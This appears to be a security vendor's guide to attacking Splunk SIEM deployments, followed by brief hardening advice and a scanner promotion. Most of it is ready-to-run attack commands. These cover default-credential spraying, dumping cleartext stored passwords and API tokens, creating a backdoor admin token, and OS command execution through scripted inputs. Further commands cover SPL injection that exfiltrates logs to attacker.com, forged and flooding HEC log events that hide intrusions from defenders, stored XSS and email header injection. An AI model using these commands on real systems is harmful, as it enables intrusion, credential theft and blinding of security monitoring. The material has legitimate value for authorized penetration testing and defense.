Splunk aggregates logs from every system in your environment — making it simultaneously your primary security detection tool and a catastrophically high-value target. Compromising Splunk grants access to every log ingested: authentication logs, network flows, application traces, and security alerts. This guide covers the full Splunk attack surface: default credentials, SPL injection, REST API credential abuse, HEC token theft for log injection to blind security teams, dashboard XSS, and forwarder exploitation for lateral movement.
| Port | Service | Attack Vector |
|---|---|---|
| 8000 | Splunk Web UI | Default creds, XSS, dashboard attacks |
| 8089 | Splunk REST API / Management | API credential abuse, token theft |
| 8088 | HTTP Event Collector (HEC) | Token theft, log injection to blind SIEM |
| 9997 | Splunk Forwarder (receiving) | Forwarder credential theft, log injection |
| 8191 | KV Store | Lookup table manipulation |
| 514 | Syslog input | Log injection via syslog |
# Splunk ships with default admin:changeme credentials
# Many production deployments never change them
# Test default credentials
curl -s -X POST "http://splunk:8089/services/auth/login" \
-d "username=admin&password=changeme" | grep -i "sessionKey\|failed"
# If successful, extract the session token
SESSION=$(curl -s -X POST "http://splunk:8089/services/auth/login" \
-d "username=admin&password=changeme" | \
python3 -c "import sys; import xml.etree.ElementTree as ET; print(ET.parse(sys.stdin).find('.//sessionKey').text)")
echo "Session: $SESSION"
# Use session token for API calls
curl -s -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/authentication/users?output_mode=json" | \
python3 -c "import json,sys; [print(u['name'], u['content']['roles']) for u in json.load(sys.stdin)['entry']]"
# Try common passwords
for pass in changeme admin password splunk admin123 ""; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "http://splunk:8089/services/auth/login" \
-d "username=admin&password=$pass")
echo "$pass: HTTP $code"
done
The Splunk REST API on port 8089 is the primary administrative interface. With valid credentials, it provides full control over the Splunk deployment.
# List all indexes (reveals what data is being collected)
curl -s -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/data/indexes?output_mode=json" | \
python3 -c "
import json,sys
for idx in json.load(sys.stdin)['entry']:
props = idx['content']
print(f\"Index: {idx['name']} Size: {props.get('currentDBSizeMB',0)}MB Events: {props.get('totalEventCount',0)}\")
"
# List all saved searches (reveals detection logic)
curl -s -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/saved/searches?output_mode=json&count=100" | \
python3 -c "
import json,sys
for s in json.load(sys.stdin)['entry']:
print(f\"Search: {s['name']}\")
print(f\" Query: {s['content'].get('search','')[:100]}\")
print(f\" Alert: {s['content'].get('is_scheduled',False)}\")
"
# Enumerate all inputs (reveals data sources being monitored)
curl -s -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/data/inputs/all?output_mode=json" | \
python3 -c "
import json,sys
for inp in json.load(sys.stdin)['entry']:
print(f\"Input: {inp['name']} Type: {inp.get('content',{}).get('sourcetype','?')}\")
"
# Extract stored credentials (passwords stored for scripted inputs, etc.)
curl -s -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/storage/passwords?output_mode=json" | \
python3 -c "
import json,sys
for cred in json.load(sys.stdin)['entry']:
props = cred['content']
print(f\"Realm: {props.get('realm','?')} User: {props.get('username','?')} Password: {props.get('clear_password','[encrypted]')}\")
"
# Extract auth tokens (Splunk API tokens)
curl -s -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/authorization/tokens?output_mode=json" | \
python3 -c "
import json,sys
for tok in json.load(sys.stdin)['entry']:
print(f\"Token: {tok['name']} User: {tok['content'].get('username','?')} Expires: {tok['content'].get('expiration','never')}\")
"
# Create a persistent admin token (for backdoor access)
curl -s -X POST -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/authorization/tokens?output_mode=json" \
-d "name=backup-token&user=admin¬_before=$(date +%s)&expires_on=+365d" | \
python3 -c "import json,sys; t=json.load(sys.stdin)['entry'][0]; print(f\"Token: {t['content']['token'][:40]}...\")"
# Splunk admin can run arbitrary OS commands via scripted inputs
# Create a scripted input that runs a command
curl -s -X POST -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/data/inputs/script" \
-d "name=/bin/sh+-c+'id+>+/tmp/splunk_rce.txt'&interval=10&sourcetype=rce"
# Or use the Splunk CLI (if accessible)
curl -s -X POST -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/receivers/simple?sourcetype=test&index=main" \
-d "test event"
# Run a search that executes a lookup-generating command with OS access
# | makeresults | eval cmd=system("id") | table cmd
If an application constructs Splunk searches using user-controlled input without proper sanitization, SPL injection can exfiltrate arbitrary log data.
# Vulnerable SPL construction pattern:
# query = f'index=security user="{user_input}" | stats count by action'
# Attacker input: " OR 1=1 | search index=* | table _raw
# Resulting query:
# index=security user="" OR 1=1 | search index=* | table _raw
# Full SPL injection via pipe operator
# Input: " | search index=* | head 1000 | eval exfil=urlencode(_raw) | http POST http://attacker.com exfil
# Test for SPL injection in web apps
curl "http://app/search?user=admin%22%7C+search+index%3D*+%7C+head+10"
# SPL injection via subsearch
# Input: ] [search index=passwords | table cleartext_password] [search x=
# Full query: index=main user="" [search index=passwords | table cleartext_password] [search x="]
# If SPL injection is possible, exfiltrate sensitive indexes
# Target: index=security (authentication logs, alerts)
# Target: index=internal (Splunk's own metadata — reveals indexer info)
# Target: index=_audit (all Splunk admin actions)
# Target: index=_introspection (system internals)
# Extract authentication events
index=security action=failure | table _time, user, src_ip, reason
# Extract all failed login attempts to find valid usernames
index=* (failed OR failure OR invalid OR "incorrect password") | \
rex "user=(?P[^\s]+)" | stats count by username | sort -count
# Look for hardcoded credentials in logs
index=* (password OR passwd OR pwd OR secret OR api_key) NOT "REDACTED" | \
table _time, _raw | head 100
The HEC (port 8088) allows applications to push logs directly to Splunk using bearer tokens. HEC tokens are frequently hardcoded in application configs or CI/CD pipelines.
# Find HEC tokens in code/config
grep -rE "HEC_TOKEN|SPLUNK_TOKEN|splunk_hec" . --include="*.env" --include="*.yaml" --include="*.json"
grep -rE "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" . \
--include="*.py" --include="*.js" --include="*.go" | grep -i splunk
# Test HEC token validity
HEC_TOKEN="your-hec-token"
curl -s -X POST "http://splunk:8088/services/collector/event" \
-H "Authorization: Splunk $HEC_TOKEN" \
-H "Content-Type: application/json" \
-d '{"event": "test", "sourcetype": "manual"}' | python3 -m json.tool
# Check HEC token permissions (which index/sourcetype it can write to)
curl -s -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/data/inputs/http?output_mode=json" | \
python3 -c "
import json,sys
for tok in json.load(sys.stdin)['entry']:
props = tok['content']
print(f\"Token: {tok['name']} Index: {props.get('index','default')} Disabled: {props.get('disabled',False)}\")
"
# With a stolen HEC token, inject fake events to:
# 1. Flood the SIEM with noise (alert fatigue)
# 2. Inject false positive events to mask real attack activity
# 3. Inject events that trigger false alerts (distraction)
# Inject fake successful authentication event to mask brute force
curl -s -X POST "http://splunk:8088/services/collector/event" \
-H "Authorization: Splunk $HEC_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"time": '"$(date +%s)"',
"sourcetype": "linux_secure",
"event": "Jul 03 08:00:00 server01 sshd[1234]: Accepted password for root from 203.0.113.42 port 54321 ssh2"
}'
# Inject false "scan completed" event to confuse incident response
curl -s -X POST "http://splunk:8088/services/collector/raw" \
-H "Authorization: Splunk $HEC_TOKEN" \
-d "Jul 03 08:00:00 SCAN_COMPLETE: All systems normal, no threats detected"
# Bulk injection for alert fatigue (send 10k events)
for i in $(seq 1 10000); do
curl -s -X POST "http://splunk:8088/services/collector/event" \
-H "Authorization: Splunk $HEC_TOKEN" \
-d "{\"event\":\"noise $i\",\"sourcetype\":\"noise\"}" &
done
# Splunk dashboards render search results with limited XSS protection
# If an attacker can inject events into Splunk that get rendered in a dashboard,
# stored XSS can execute in the browser of anyone viewing the dashboard
# Inject an XSS payload via HEC
curl -s -X POST "http://splunk:8088/services/collector/event" \
-H "Authorization: Splunk $HEC_TOKEN" \
-d '{
"event": "
",
"sourcetype": "web_access"
}'
# The XSS triggers when a Splunk user runs a search showing this event and
# the dashboard renders the _raw field without escaping
# Alert email injection
# If alert emails include search results, SPL injection can inject email headers
# query: index=mail | eval subject=subject+"\\nBcc: attacker@evil.com" | sendemail
# Check if Splunk instance allows custom JavaScript in dashboards
curl -s -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/properties/web/settings/enableSplunkWebSSL?output_mode=json"
The Splunk Universal Forwarder runs on every monitored host and connects back to the indexer. Its management port (port 8089) can be exploited if enabled.
# Universal Forwarder runs as SYSTEM/root on monitored hosts
# Management API enabled: allows deploying arbitrary apps with OS commands
# Check if forwarder management API is accessible
curl -s -k "https://monitored-host:8089/services" -u admin:changeme | head -10
# If accessible, deploy a malicious app via deployment server
curl -s -X POST -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/deployment/server/clients?output_mode=json" | \
python3 -c "
import json,sys
for client in json.load(sys.stdin)['entry']:
props = client['content']
print(f\"Client: {client['name']} Hostname: {props.get('hostname','?')} OS: {props.get('os','?')}\")
"
# Forwarder credential extraction from outputs.conf
# (if you can read the forwarder host filesystem)
find /opt/splunkforwarder /opt/splunk -name "outputs.conf" 2>/dev/null | \
xargs grep -E "password|username|token" 2>/dev/null
# Default deployment server credentials in $SPLUNK_HOME/etc/auth/
find /opt/splunk -name "*.pem" -o -name "*.key" 2>/dev/null | head -5
# Splunk alerts can trigger shell scripts, webhooks, or custom alert actions
# If alert action scripts don't sanitize token values, command injection is possible
# View configured alert actions
curl -s -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/admin/alert_actions?output_mode=json" | \
python3 -c "
import json,sys
for action in json.load(sys.stdin)['entry']:
props = action['content']
print(f\"Action: {action['name']} Command: {props.get('command','?')[:100]}\")
"
# Webhook alert action — inject into URL if user-controlled
# A webhook action that embeds the alert results in a URL parameter
# can be abused for SSRF:
# http://internal-service/api?alert=INJECTED_CONTENT&action=trigger
# Custom script actions run with Splunk process privileges
# Test by creating an alert with injected field values that reach the script
curl -s -X POST -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/saved/searches" \
-d "name=test_injection&search=index=main | eval cmd=\"; id; echo\"&alert.track=1&alert_type=always&action.script=1&action.script.filename=alert_script.sh"
# 1. Change default admin password immediately
curl -s -X POST -H "Authorization: Splunk $SESSION" \
"http://splunk:8089/services/authentication/users/admin" \
-d "password=STRONG_RANDOM_PASSWORD"
# 2. Enable TLS for all Splunk ports
# server.conf:
[sslConfig]
sslVersions = tls1.2,tls1.3
enableSplunkdSSL = true
requireClientCert = false
# 3. Restrict REST API to specific IPs
# server.conf:
[httpServer]
allowSslRenegotiation = false
# 4. Enable audit logging
# audit.conf:
[eventHashing]
attestation_publish_interval = 600
# 5. Use per-application HEC tokens with minimum index/sourcetype scope
# Never use a global HEC token with write access to all indexes
# 6. Disable Universal Forwarder management API if not needed
# deploymentclient.conf:
[deployment-client]
disabled = true
# 7. Role-based access control — viewers should not see all indexes
# authorize.conf:
[role_security_analyst]
importRoles = user
srchIndexesAllowed = security;network;windows
srchIndexesDefault = security
_audit index for unauthorized access; harden Universal Forwarder management API; review saved searches for SPL injection risks.
| Security Test | Method | Priority |
|---|---|---|
| Default admin:changeme credentials | POST /services/auth/login | Critical |
| REST API credential extraction | GET /services/storage/passwords | Critical |
| HEC token discovery in code | grep for UUID-format tokens | High |
| SPL injection in app searches | Pipe character injection testing | High |
| Dashboard XSS via log injection | HEC event with HTML payload | High |
| Alert action command injection | Alert configuration review | High |
| Forwarder management API | curl :8089 on forwarder hosts | Medium |
| TLS configuration check | openssl s_client :8089/:8088 | Medium |
Ironimo scans for exposed Splunk instances, default credentials, unauthenticated HEC endpoints, and REST API access control gaps as part of comprehensive infrastructure security testing.
Start free scan